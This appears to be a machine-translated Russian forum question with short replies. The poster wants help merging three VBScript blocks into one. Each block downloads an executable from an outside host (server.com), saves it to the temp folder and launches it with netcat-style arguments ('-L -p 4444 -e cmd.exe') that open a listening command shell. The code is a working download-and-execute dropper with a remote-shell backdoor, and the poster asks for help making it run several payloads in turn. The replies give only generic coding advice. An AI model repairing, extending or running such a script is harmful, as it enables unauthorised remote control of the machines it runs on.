Как я могу объединить несколько скриптов .vbs одной и той же функции в один .vbs?
Я пытаюсь объединить приведенные ниже сценарии .vbs в один .vbs. Ниже приведен пример моего кода:
dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") URL = "http://server.com/download1.exe" 'Where to download the file from FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system) RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe" http_obj.open "GET", URL, False http_obj.send stream_obj.type = 1 stream_obj.open stream_obj.write http_obj.responseBody stream_obj.savetofile FILENAME, 2 shell_obj.run RUNCMD Next dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") URL = "http://server.com/download2.exe" 'Where to download the file from FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system) RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe" http_obj.open "GET", URL, False http_obj.send stream_obj.type = 1 stream_obj.open stream_obj.write http_obj.responseBody stream_obj.savetofile FILENAME, 2 shell_obj.run RUNCMD Next dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") URL = "http://server.com/download3.exe" 'Where to download the file from FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system) RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe" http_obj.open "GET", URL, False http_obj.send stream_obj.type = 1 stream_obj.open stream_obj.write http_obj.responseBody stream_obj.savetofile FILENAME, 2 shell_obj.run RUNCMD
Когда я пытался запустить приведенный выше код, я всегда получал ошибку, как указано на рисунке ниже:
Операция не допускается, когда объект открыт
Лучшее решение-исправить это или заставить скрипт подождать и завершить работу, прежде чем переходить к следующему. будет принята с благодарностью.
Что я уже пробовал:
Я пробовал использовать:
Далее, WScript.Sleep 1000 и синтаксис задержки, но ни один из них не работает должным образом.
Richard MacCutchan
Поскольку в коде так много дублирования, было бы более разумно преобразовать одну версию в подпрограмму, которая принимает параметры для переменных.
ZurdoDev
Это означает, что вы пытаетесь что-то сделать, например открыть поток, который уже открыт.
cHl Security
На самом деле я хочу загрузить несколько файлов и выполнить их, но процесс загрузки и выполнения должен быть завершен, прежде чем переходить к следующему.
cHl Security
Пожалуйста, я был бы признателен, если бы мне помогли перестроить код, чтобы он работал.